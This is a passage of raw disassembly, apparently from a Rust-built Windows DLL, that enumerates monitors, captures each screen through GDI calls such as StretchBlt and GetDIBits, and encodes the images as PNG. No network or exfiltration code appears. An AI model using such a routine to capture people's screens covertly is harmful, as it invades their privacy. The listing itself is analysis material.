mov dword [esp + 0x18], edx
sub edx, 1
jb 0x10010077
and dword [esp + 0x160], 0
mov dword [esp + 0x164], 1
add dword [esp + 0xc], 4
and dword [esp + 0x168], 0
mov edi, eax
lea esi, [eax + edx*2]
mov eax, edx
and edx, 1
shr eax, 1
add edx, eax
lea ecx, [esp + 0x160]
call sym.alloc::vec::Vec_LT_T_C_A_GT_::reserve::h4e0bdd509c4a7cbf
and word [esp + 0x320], 0
mov dword [esp + 0x324], edi
mov dword [esp + 0x328], esi
lea esi, [esp + 0x320]
lea ecx, [esp + 0x118]
mov edx, esi
call sym.__ZN99__LT_core..char..decode..DecodeUtf16_LT_I_GT__u20_as_u20_core..iter..traits..iterator..Iterator_GT_4next17h6ed4699a76862
cmp word [esp + 0x118], 2
je 0x1000d429
mov eax, dword [esp + 0x118]
mov ebx, 0xfffd
test ax, ax
jne 0x1000d32b
mov ebx, dword [esp + 0x11c]
cmp ebx, 0x80
jae 0x1000d36a
mov edx, dword [esp + 0x168]
cmp edx, dword [esp + 0x160]
jne 0x1000d356
lea ecx, [esp + 0x160]
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve_for_push::h2ddfb5e3d7ef7410
mov edx, dword [esp + 0x168]
mov eax, dword [esp + 0x164]
mov byte [eax + edx], bl
inc edx
mov dword [esp + 0x168], edx
jmp 0x1000d2f6
and dword [esp + 0x48], 0
mov eax, ebx
cmp ebx, 0x800
jae 0x1000d390
shr eax, 6
and bl, 0x3f
or al, 0xc0
or bl, 0x80
mov byte [esp + 0x48], al
mov byte [esp + 0x49], bl
push 2
jmp 0x1000d3ed
cmp ebx, 0x10000
jae 0x1000d3bc
shr eax, 0xc
or al, 0xe0
mov byte [esp + 0x48], al
mov eax, ebx
and bl, 0x3f
shr eax, 6
or bl, 0x80
and al, 0x3f
or al, 0x80
mov byte [esp + 0x49], al
mov byte [esp + 0x4a], bl
push 3
jmp 0x1000d3ed
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [esp + 0x48], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x49], al
mov eax, ebx
and bl, 0x3f
shr eax, 6
or bl, 0x80
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4a], al
mov byte [esp + 0x4b], bl
push 4
pop ebx
lea ecx, [esp + 0x160]
mov edx, ebx
call sym.alloc::vec::Vec_LT_T_C_A_GT_::reserve::h4e0bdd509c4a7cbf
mov esi, dword [esp + 0x168]
mov eax, dword [esp + 0x164]
add eax, esi
push ebx
lea ecx, [esp + 0x4c]
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
add esi, ebx
mov dword [esp + 0x168], esi
jmp 0x1000d2ef
mov eax, dword [esp + 0x160]
mov ebx, esi
mov esi, dword [esp + 0x168]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x164]
and word [edi], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
add eax, eax
mov ecx, edi
push 2
pop edx
push eax
call sym.__LT_alloc..alloc..Global_u20_as_u20_core..alloc..Allocator_GT_::deallocate::hcacc92fefce56ab3
pop eax
mov eax, dword [esp + 0x1f4]
xorpd xmm0, xmm0
xorpd xmm1, xmm1
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x1f8]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x1fc]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x200]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x214]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x324]
movsd qword [eax + 0x50], xmm0
movsd qword [eax + 0x48], xmm0
movsd qword [eax + 0x9a], xmm0
movsd qword [eax + 0x92], xmm0
movsd qword [eax + 0x8a], xmm0
movsd qword [eax + 0x82], xmm0
movsd qword [eax + 0x7a], xmm0
movsd qword [eax + 0x72], xmm0
movsd qword [eax + 0x6a], xmm0
movsd qword [eax + 0x62], xmm0
movapd xmmword [esp + 0x350], xmm1
movapd xmmword [esp + 0x340], xmm1
movapd xmmword [esp + 0x330], xmm1
movapd xmmword [esp + 0x320], xmm1
and dword [esp + 0x360], 0
mov dword [esp + 0x364], 0xdc
and dword [esp + 0x368], 0
and word [eax + 0x60], 0
movsd qword [eax + 0x58], xmm0
movsd qword [eax + 0xd0], xmm0
movsd qword [eax + 0xca], xmm0
movsd qword [eax + 0xc2], xmm0
movsd qword [eax + 0xba], xmm0
movsd qword [eax + 0xb2], xmm0
movsd qword [eax + 0xaa], xmm0
movsd qword [eax + 0xa2], xmm0
push 2
push ebx
push 0xffffffffffffffff
lea eax, [esp + 0x224]
push eax
call sub.user32.dll_EnumDisplaySettingsExW
test eax, eax
je 0x1000d725
mov eax, dword [esp + 0x374]
cmp eax, 4
jae 0x1000d5a4
movss xmm0, dword [eax*4 + 0x101e6988]
movsd xmm1, qword [0x101660e0]
movdqa xmm2, xmmword [0x101660d0]
jmp 0x1000d5c4
movdqa xmm2, xmmword [0x101660d0]
movsd xmm1, qword [0x101660e0]
movd xmm0, eax
por xmm0, xmm2
subsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [esp + 0x2c], xmm0
movd xmm0, dword [esp + 0x3d8]
por xmm0, xmm2
subsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
mov ecx, dword [esp + 0x10]
mov eax, esi
movss dword [esp + 0x28], xmm0
imul esi, esi, 0x27220a95
cmp eax, 3
jbe 0x1000d603
rol esi, 5
add eax, 0xfffffffc
xor esi, dword [ecx]
add ecx, 4
jmp 0x1000d5eb
xor edx, edx
cmp eax, edx
je 0x1000d61b
movzx edi, byte [ecx + edx]
rol esi, 5
inc edx
xor esi, edi
imul esi, esi, 0x27220a95
jmp 0x1000d605
push 0
push 0
lea eax, [esp + 0x220]
push eax
push eax
call sub.gdi32.dll_CreateDCW
mov ebx, eax
push 8
push eax
call sub.gdi32.dll_GetDeviceCaps
mov dword [esp + 0x34], eax
push 0x76
push ebx
call sub.gdi32.dll_GetDeviceCaps
mov edi, eax
push ebx
call sub.gdi32.dll_DeleteDC
cmp dword [esp + 0x24], 1
sete byte [esp + 0x24]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x10]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h5bf4e74882597c41
mov edx, dword [esp + 0x98]
cmp edx, dword [esp + 0x90]
jne 0x1000d685
lea ecx, [esp + 0x90]
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve_for_push::h17cedb1ed11a3453
mov edx, dword [esp + 0x98]
mov ebx, dword [esp + 0x94]
mov ecx, dword [esp + 0x14]
imul eax, edx, 0x28
cvtsi2ss xmm1, dword [esp + 0x34]
cvtsi2ss xmm0, edi
mov edi, dword [esp + 0x1c]
inc edx
mov dword [ebx + eax], esi
mov dword [ebx + eax + 4], ecx
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x20]
divss xmm0, xmm1
movss xmm1, dword [esp + 0x2c]
sub esi, ecx
mov dword [ebx + eax + 8], ecx
mov ecx, dword [esp + 0x18]
sub edi, ecx
mov dword [ebx + eax + 0xc], ecx
mov dword [ebx + eax + 0x10], esi
mov cl, byte [esp + 0x24]
lea esi, [esp + 0x324]
mov dword [ebx + eax + 0x14], edi
movss dword [ebx + eax + 0x18], xmm1
movss xmm1, dword [esp + 0x28]
movss dword [ebx + eax + 0x1c], xmm0
movss dword [ebx + eax + 0x20], xmm1
mov byte [ebx + eax + 0x24], cl
movzx ecx, word [esp + 0x320]
mov word [ebx + eax + 0x25], cx
mov cl, byte [esp + 0x322]
mov byte [ebx + eax + 0x27], cl
mov dword [esp + 0x98], edx
push 0x19
pop eax
mov ecx, dword [esp + 0xc]
jmp 0x1000d20a
call sym.windows_core::error::Error::from_win32::h0f0794930b857c28
mov ecx, eax
call sym.anyhow::error::__LT_impl_u20_core..convert..From_LT_E_GT__u20_for_u20_anyhow..Error_GT_::from::heefa26f55c923ba2
mov ecx, dword [eax]
push eax
call dword [ecx]
add esp, 4
xorpd xmm0, xmm0
movss dword [esp + 0x2c], xmm0
jmp 0x1000d5df
mov esi, dword [esp + 0x90]
mov ecx, dword [esp + 0x3c]
call sym.__ZN4core3ptr108drop_in_place_LT_alloc..boxed..Box_LT_alloc..vec..Vec_LT_windows..Win32..Graphics..Gdi..HMONITOR_GT__GT__GT_17
cmp esi, 0x80000000
je 0x1000fa04
mov edi, dword [esp + 0x78]
test edi, edi
je 0x1000d7d6
cmp edi, 0x3333333
mov dword [esp + 0xc], esi
ja 0x100103c2
imul esi, edi, 0x28
mov dword [esp + 0x10], ebx
mov ecx, esi
call sym.__ZN5alloc5alloc6Global10alloc_impl17h85ddb242f3d613d2E.1042
test eax, eax
je 0x100103c7
xor edx, edx
mov ebx, edi
mov dword [esp + 0x15c], eax
mov ecx, dword [esp + 0x10]
lea edi, [eax + edx]
lea esi, [ecx + edx]
push 0xa
pop ecx
rep movsd dword es:[edi], dword [esi]
add edx, 0x28
dec ebx
mov eax, dword [esp + 0x15c]
jne 0x1000d79d
mov edi, dword [esp + 0x78]
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0xc]
jmp 0x1000d7e2
push 0x13
pop edx
mov ecx, edi
push 0x1018f4b4
call dbg.panic_bounds_check
xor edi, edi
push 4
pop eax
mov dword [esp + 0x15c], eax
mov ecx, esi
mov edx, ebx
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h6130f8f10e298365
cmp edi, 0x80000000
je 0x100103b6
mov eax, dword [esp + 0x15c]
imul edx, edi, 0x28
mov ecx, edi
lea edi, [esp + 0x320]
mov dword [esp + 0x308], edx
mov dword [esp + 0x78], ecx
add edx, eax
mov dword [esp + 0x30c], edx
cmp eax, dword [esp + 0x30c]
je 0x1000e38d
cmp byte [eax + 0x24], 2
je 0x1000e38d
movss xmm1, dword [eax + 0x10]
movsd xmm2, qword [0x101660e0]
movss xmm0, dword [eax + 0x1c]
movss xmm3, dword [0x101660e8]
mov edx, 0x7fffffff
lea ecx, [eax + 0x28]
mov dword [esp + 0x2ec], ecx
mov ecx, dword [eax]
orpd xmm1, xmm2
subsd xmm1, xmm2
mov dword [esp + 0x18], ecx
cvtsd2ss xmm1, xmm1
mulss xmm1, xmm0
cvttss2si esi, xmm1
ucomiss xmm1, xmm3
cmova esi, edx
ucomiss xmm1, xmm1
movss xmm1, dword [eax + 0x14]
mov edx, 0
mov eax, 0x7fffffff
mov dword [esp + 0x60], ecx
cmovp esi, edx
orpd xmm1, xmm2
subsd xmm1, xmm2
cvtsd2ss xmm1, xmm1
mulss xmm1, xmm0
cvttss2si ebx, xmm1
ucomiss xmm1, xmm3
cmova ebx, eax
ucomiss xmm1, xmm1
cmovp ebx, edx
push 0xc
pop ecx
call sym.__ZN5alloc5alloc15exchange_malloc17h142decb00e75c662E.1045
and dword [eax], 0
mov dword [eax + 4], 4
and dword [eax + 8], 0
mov dword [esp + 0x38], eax
push eax
push sym.__ZN11screenshots5win3217monitor_enum_proc17he75d8bd639534ac1E_16
push 0
push 0
call sub.user32.dll_EnumDisplayMonitors
test eax, eax
je 0x1000e271
mov eax, dword [esp + 0x38]
mov dword [esp + 0x30], esi
mov dword [esp + 0x24], ebx
mov ecx, dword [eax + 4]
imul eax, dword [eax + 8], 0x68
add eax, ecx
mov dword [esp + 0x20], eax
cmp ecx, dword [esp + 0x20]
je 0x1000e286
mov eax, ecx
push 0x1a
pop ecx
mov esi, eax
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x348]
mov ebx, eax
call sym.widestring::ucstr::U16CStr::from_ptr_str::hf6ac459789fad982
mov esi, edx
lea edi, [esp + 0x160]
mov edx, eax
mov ecx, edi
push esi
call sym.alloc::slice::__LT_impl_u20_alloc..borrow..ToOwned_u20_for_u20__u5b_T_u5d__GT_::to_owned::hf37a384bebcd12fd
pop eax
mov ecx, edi
call sym.widestring::ucstring::U16CString::from_vec_unchecked::h3b48abe31a74684f
mov edi, eax
mov eax, edx
sub edx, 1
jb 0x1000fd22
and dword [esp + 0x90], 0
mov dword [esp + 0x94], 1
and dword [esp + 0x98], 0
mov dword [esp + 0x10], eax
mov eax, edx
lea esi, [edi + edx*2]
mov dword [esp + 0x1c], ebx
add ebx, 0x68
and edx, 1
shr eax, 1
mov dword [esp + 0xc], ebx
add edx, eax
lea ecx, [esp + 0x90]
call sym.alloc::vec::Vec_LT_T_C_A_GT_::reserve::h974554ac4bb331e0
and word [esp + 0x160], 0
mov dword [esp + 0x164], edi
mov dword [esp + 0x168], esi
lea esi, [esp + 0x48]
lea ecx, [esp + 0x118]
lea edx, [esp + 0x160]
call sym.__ZN99__LT_core..char..decode..DecodeUtf16_LT_I_GT__u20_as_u20_core..iter..traits..iterator..Iterator_GT_4next17h6ed4699a76862
cmp word [esp + 0x118], 2
je 0x1000dab2
mov eax, dword [esp + 0x118]
mov ebx, 0xfffd
test ax, ax
jne 0x1000d9e1
mov ebx, dword [esp + 0x11c]
cmp ebx, 0x80
jae 0x1000da20
mov edx, dword [esp + 0x98]
cmp edx, dword [esp + 0x90]
jne 0x1000da0c
lea ecx, [esp + 0x90]
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve_for_push::h0f43824e2ecff307
mov edx, dword [esp + 0x98]
mov eax, dword [esp + 0x94]
mov byte [eax + edx], bl
inc edx
mov dword [esp + 0x98], edx
jmp 0x1000d9a7
and dword [esp + 0x48], 0
mov eax, ebx
cmp ebx, 0x800
jae 0x1000da3f
shr eax, 6
or al, 0xc0
mov byte [esp + 0x48], al
xor eax, eax
inc eax
push 2
jmp 0x1000da8e
cmp ebx, 0x10000
jae 0x1000da64
shr eax, 0xc
or al, 0xe0
mov byte [esp + 0x48], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x49], al
push 2
pop eax
push 3
jmp 0x1000da8e
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [esp + 0x48], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x49], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4a], al
push 3
pop eax
push 4
pop ecx
and bl, 0x3f
or bl, 0x80
mov byte [esp + eax + 0x48], bl
lea eax, [esp + ecx + 0x48]
lea ecx, [esp + 0x90]
mov edx, esi
push eax
call fcn.100e4dc4
pop eax
jmp 0x1000d9a7
mov eax, dword [esp + 0x90]
mov ebx, dword [esp + 0x94]
mov esi, dword [esp + 0x98]
and word [edi], 0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
add eax, eax
mov ecx, edi
push 2
pop edx
push eax
call sym.__LT_alloc..alloc..Global_u20_as_u20_core..alloc..Allocator_GT_::deallocate::hcacc92fefce56ab3
pop eax
mov eax, esi
mov ecx, ebx
imul esi, esi, 0x27220a95
cmp eax, 3
jbe 0x1000dafd
rol esi, 5
add eax, 0xfffffffc
xor esi, dword [ecx]
add ecx, 4
jmp 0x1000dae5
xor edx, edx
cmp eax, edx
je 0x1000db15
movzx edi, byte [ecx + edx]
rol esi, 5
inc edx
xor esi, edi
imul esi, esi, 0x27220a95
jmp 0x1000daff
mov ecx, dword [esp + 0x14]
mov edx, ebx
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
cmp esi, dword [esp + 0x18]
mov ecx, dword [esp + 0xc]
lea edi, [esp + 0x320]
jne 0x1000d901
mov esi, dword [esp + 0x1c]
add esi, 4
push 0x19
pop ecx
lea edi, [esp + 0x1f0]
mov ebx, dword [esp + 0x30]
rep movsd dword es:[edi], dword [esi]
lea esi, [esp + 0x320]
mov ecx, dword [esp + 0x38]
call sym.__ZN4core3ptr123drop_in_place_LT_alloc..boxed..Box_LT_alloc..vec..Vec_LT_windows..Windows..Win32..Graphics..Gdi..MONITORINFOEX
push 0x40
lea eax, [esp + 0x218]
push eax
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
push 0
push 0
push esi
push esi
call sub.gdi32.dll_CreateDCW
mov edi, eax
push eax
call sub.gdi32.dll_CreateCompatibleDC
mov esi, eax
push dword [esp + 0x24]
push ebx
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [esp + 0x74], eax
push eax
push esi
call sub.gdi32.dll_SelectObject
push 4
push edi
call sub.gdi32.dll_SetStretchBltMode
push 0xcc0020
mov eax, dword [esp + 0x28]
push eax
push ebx
push 0
push 0
mov dword [esp + 0x16c], edi
push edi
mov edi, eax
push eax
push ebx
push 0
push 0
push esi
call sub.gdi32.dll_StretchBlt
test eax, eax
je 0x1000e2e7
lea eax, [esp + 0x1f4]
mov dword [esp + 0x1f0], 0x28
mov dword [esp + 0x1f4], ebx
mov dword [esp + 0x1f8], edi
mov dword [esp + 0x1fc], 0x200001
shl ebx, 2
xorps xmm0, xmm0
and dword [eax + 0x24], 0
mov edx, ebx
movsd qword [eax + 0x1c], xmm0
movsd qword [eax + 0x14], xmm0
movsd qword [eax + 0xc], xmm0
mov dword [esp + 0x30], ebx
imul edx, edi
lea ecx, [esp + 0x60]
call sym.alloc::vec::from_elem::h35925dd1ad6a37c4
mov ebx, dword [esp + 0x64]
push 0
lea eax, [esp + 0x1f4]
push eax
push ebx
push edi
push 0
mov edi, dword [esp + 0x88]
push edi
push esi
call sub.gdi32.dll_GetDIBits
mov dword [esp + 0x154], esi
test eax, eax
mov esi, edi
je 0x1000e2fd
xorps xmm0, xmm0
movsd qword [esp + 0xa0], xmm0
xorps xmm0, xmm0
movaps xmmword [esp + 0x90], xmm0
lea eax, [esp + 0x90]
push eax
push 0x18
push esi
call sub.gdi32.dll_GetObjectW
lea ecx, [esp + 0x48]
mov edx, ebx
push 0x101bbbb8
push dword [esp + 0x34]
push dword [esp + 0x70]
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::chunks::h447e0419ed1ec274
add esp, 0xc
mov ebx, dword [esp + 0x4c]
mov eax, dword [esp + 0x50]
lea ecx, [esp + 0x118]
mov edx, ebx
mov dword [esp + 0x1c], eax
push eax
call sym.__ZN102__LT_core..iter..adapters..map..Map_LT_I_C_F_GT__u20_as_u20_core..iter..traits..iterator..Iterator_GT_9size_hint17hc817
pop eax
cmp dword [esp + 0x11c], 0
je 0x100101de
mov ecx, dword [esp + 0x120]
test ecx, ecx
push 4
pop eax
je 0x1000dd02
cmp ecx, 0xaaaaaaa
ja 0x100102a5
imul esi, ecx, 0xc
test esi, esi
js 0x100102a5
mov dword [esp + 0xe4], ecx
mov ecx, esi
call sym.__ZN5alloc5alloc6Global10alloc_impl17h85ddb242f3d613d2E.1042
test eax, eax
mov dword [esp + 0x40], eax
jne 0x1000dd11
jmp 0x1001029b
mov dword [esp + 0xe4], 0
mov dword [esp + 0x40], eax
lea ecx, [esp + 0x160]
mov edx, ebx
push dword [esp + 0x1c]
call sym.__ZN102__LT_core..iter..adapters..map..Map_LT_I_C_F_GT__u20_as_u20_core..iter..traits..iterator..Iterator_GT_9size_hint17hc817
pop eax
cmp dword [esp + 0x164], 0
je 0x100101b1
mov esi, dword [esp + 0x168]
mov ecx, dword [esp + 0xe4]
cmp ecx, esi
jae 0x1000dde7
lea eax, [ecx + ecx]
mov dword [esp + 0x10], ebx
cmp eax, esi
cmova esi, eax
xor edx, edx
cmp esi, 0xaaaaaab
setb al
cmp esi, 5
push 4
pop edi
cmovb esi, edi
test ecx, ecx
je 0x1000dd85
mov ebx, dword [esp + 0x40]
imul ecx, ecx, 0xc
mov dword [esp + 0x160], ebx
mov dword [esp + 0x168], ecx
mov ecx, edi
jmp 0x1000dd87
xor ecx, ecx
mov dl, al
imul edi, esi, 0xc
mov dword [esp + 0x164], ecx
shl edx, 2
lea eax, [esp + 0x160]
lea ecx, [esp + 0x118]
push eax
push edi
call sym.alloc::raw_vec::finish_grow::h29351c81c297a774
pop eax
pop ecx
cmp dword [esp + 0x118], 0
je 0x1000ddc7
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x120]
jmp 0x1000ddde
mov eax, dword [esp + 0x11c]
mov ecx, 0x80000001
mov dword [esp + 0xe4], esi
mov dword [esp + 0x40], eax
mov ebx, dword [esp + 0x10]
call sym.alloc::raw_vec::handle_reserve::h19da5151a8c296b7
mov eax, dword [esp + 0x40]
mov edx, dword [esp + 0x48]
xor ecx, ecx
lea edi, [eax + 8]
xor eax, eax
mov dword [esp + 0x30], edi
test ebx, ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x34], eax
je 0x1000de70
mov esi, dword [esp + 0x1c]
cmp ebx, esi
cmovb esi, ebx
lea ecx, [edx + esi]
sub ebx, esi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ebx
lea ebx, [esp + 0x160]
mov dword [esp + 0x18], edx
mov edx, esi
mov ecx, ebx
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::try_allocate_in::h59895ded45902fe8
mov ecx, ebx
call sym.alloc::raw_vec::handle_reserve::h25b37d4abb8f209b
mov ebx, edx
mov dword [esp + 0x20], eax
push esi
push dword [esp + 0x1c]
push edx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
mov dword [edi - 8], eax
mov eax, dword [esp + 0x34]
mov dword [edi - 4], ebx
mov ebx, dword [esp + 0x10]
mov dword [edi], esi
add edi, 0xc
add ecx, 0xc
inc eax
jmp 0x1000ddfa
mov esi, eax
mov edx, dword [esp + 0x40]
imul eax, eax, 0xc
shr esi, 1
mov ecx, esi
neg ecx
add eax, edx
imul edi, ecx, 0xc
add edi, eax
mov ecx, esi
push 0x101bb170
push esi
call fcn.1009f601
pop ecx
pop ecx
mov ebx, eax
mov dword [esp + 0x14], edx
mov edx, edi
mov ecx, esi
push 0x101bb180
push esi
call fcn.1009f601
pop ecx
pop ecx
imul edi, esi, 0xc
mov dword [esp + 0x18], edx
xor edx, edx
mov dword [esp + 0x10], esi
add edi, eax
cmp edx, dword [esp + 0x10]
je 0x1000defe
cmp edx, dword [esp + 0x14]
je 0x1000f9b8
mov ecx, edx
not ecx
add ecx, dword [esp + 0x10]
cmp ecx, dword [esp + 0x18]
jae 0x1000f9c8
push 0xfffffffffffffffd
pop ecx
test ecx, ecx
je 0x1000def5
mov esi, dword [ebx + ecx*4 + 0xc]
mov eax, dword [edi + ecx*4]
mov dword [ebx + ecx*4 + 0xc], eax
mov dword [edi + ecx*4], esi
inc ecx
jmp 0x1000dee0
inc edx
add edi, 0xfffffff4
add ebx, 0xc
jmp 0x1000debb
mov ebx, dword [esp + 0x34]
xor edx, edx
test ebx, ebx
je 0x1000df16
mov ecx, dword [esp + 0x30]
mov eax, ebx
add edx, dword [ecx]
add ecx, 0xc
dec eax
jne 0x1000df0e
lea esi, [esp + 0x160]
mov ecx, esi
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::try_allocate_in::h59895ded45902fe8
mov ecx, esi
call sym.alloc::raw_vec::handle_reserve::h25b37d4abb8f209b
mov dword [esp + 0x160], eax
mov eax, dword [esp + 0x40]
mov edi, dword [esp + 0xc]
mov dword [esp + 0x164], edx
and dword [esp + 0x168], 0
test edi, edi
je 0x1000df6d
lea esi, [eax + 0xc]
mov edx, dword [eax + 4]
mov eax, dword [eax + 8]
add eax, edx
lea ecx, [esp + 0x160]
push eax
call fcn.100e4dc4
pop eax
add edi, 0xfffffff4
mov eax, esi
jmp 0x1000df49
mov eax, dword [esp + 0x160]
mov ecx, dword [esp + 0x98]
mov esi, dword [esp + 0x9c]
mov dword [esp + 0x310], eax
mov eax, dword [esp + 0x94]
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x7c], esi
lea edx, [eax*4]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0x164]
mov dword [esp + 0x44], edx
imul edx, ecx
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x168]
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x160]
call sym.alloc::vec::from_elem::h35925dd1ad6a37c4
mov eax, dword [esp + 0x164]
mov edx, dword [esp + 0x168]
mov edi, dword [esp + 0x74]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
xor ecx, ecx
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], edx
cmp ecx, dword [esp + 0x3c]
je 0x1000e152
mov eax, dword [esp + 0xe0]
xor esi, esi
mov dword [esp + 0x2c], ecx
sub eax, 1
jb 0x1000e12c
mov edx, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
mov dword [esp + 0x30], eax
add edx, esi
lea eax, [edi + esi]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edx
mov ebx, dword [esp + 0x28]
mov edx, dword [esp + 0x1c]
mov ecx, ebx
push 0x101bbaa4
push eax
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::ha732766ac43e2ead
pop ecx
pop edx
mov al, byte [eax]
mov byte [esp + 0x38], al
lea eax, [edi + esi + 2]
mov edi, dword [esp + 0x1c]
mov ecx, ebx
mov edx, edi
push 0x101bbab4
push eax
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::ha732766ac43e2ead
pop ecx
pop edx
mov al, byte [eax]
mov byte [esp + 0x24], al
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
push 0x101bbac4
push dword [esp + 0x10]
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::ha732766ac43e2ead
pop ecx
pop edx
mov cl, byte [esp + 0x24]
mov byte [eax], cl
mov eax, dword [esp + 0x10]
lea eax, [eax + esi + 1]
mov ecx, ebx
mov edx, edi
push 0x101bbad4
push eax
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::ha732766ac43e2ead
pop ecx
pop edx
mov al, byte [eax]
mov dword [esp + 0xc], esi
mov esi, dword [esp + 0x14]
mov byte [esp + 0x24], al
mov eax, dword [esp + 0xc]
lea eax, [esi + eax + 1]
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x20]
mov ecx, edi
mov edx, ebx
push 0x101bbae4
push eax
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::ha732766ac43e2ead
pop ecx
pop edx
mov cl, byte [esp + 0x24]
mov byte [eax], cl
mov eax, dword [esp + 0xc]
lea eax, [esi + eax + 2]
mov ecx, edi
mov edx, ebx
push 0x101bbaf4
push eax
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::ha732766ac43e2ead
pop ecx
pop edx
mov cl, byte [esp + 0x38]
mov byte [eax], cl
mov eax, dword [esp + 0xc]
lea eax, [esi + eax + 3]
mov esi, dword [esp + 0xc]
mov ecx, edi
mov edx, ebx
push 0x101bbb04
push eax
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::ha732766ac43e2ead
mov ecx, dword [esp + 0x34]
add esp, 8
mov byte [eax], 0xff
mov eax, dword [esp + 0x30]
add esi, 4
jmp 0x1000e012
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov edi, dword [esp + 0x74]
mov ebx, dword [esp + 0x34]
inc ecx
add eax, dword [esp + 0x7c]
add edx, dword [esp + 0x44]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
jmp 0x1000dffb
mov eax, dword [esp + 0x160]
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x310]
mov edx, dword [esp + 0x28]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov eax, dword [esp + 0x40]
lea esi, [eax + 4]
sub ebx, 1
jb 0x1000e188
mov ecx, dword [esi - 4]
mov edx, dword [esi]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
add esi, 0xc
jmp 0x1000e174
mov eax, dword [esp + 0xe4]
test eax, eax
je 0x1000e1a4
imul eax, eax, 0xc
mov ecx, dword [esp + 0x40]
push 4
pop edx
push eax
call sym.__LT_alloc..alloc..Global_u20_as_u20_core..alloc..Allocator_GT_::deallocate::hcacc92fefce56ab3
pop eax
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
push edi
call sub.gdi32.dll_DeleteObject
push dword [esp + 0x154]
call sub.gdi32.dll_DeleteDC
push dword [esp + 0x158]
call sub.gdi32.dll_DeleteDC
mov ebx, dword [esp + 0xc]
lea edi, [esp + 0x320]
cmp ebx, 0x80000000
je 0x1000e371
mov eax, dword [esp + 0x18]
mov dword [esp + 0x320], ebx
mov esi, dword [esp + 0x3c]
mov dword [esp + 0x324], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x328], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0x32c], eax
mov dword [esp + 0x330], esi
lea ecx, [esp + 0x1f0]
mov edx, edi
call sym.screenshots::image::Image::to_png::h2c96c894310b59e3
cmp dword [esp + 0x1f0], 0
je 0x1000e24e
cmp dword [esp + 0x1f4], 2
jne 0x1000e261
lea eax, [esp + 0x1f8]
push eax
call sym.core::ptr::drop_in_place_LT_std..io..error..Error_GT_::h284f53b3f34cb34b
pop eax
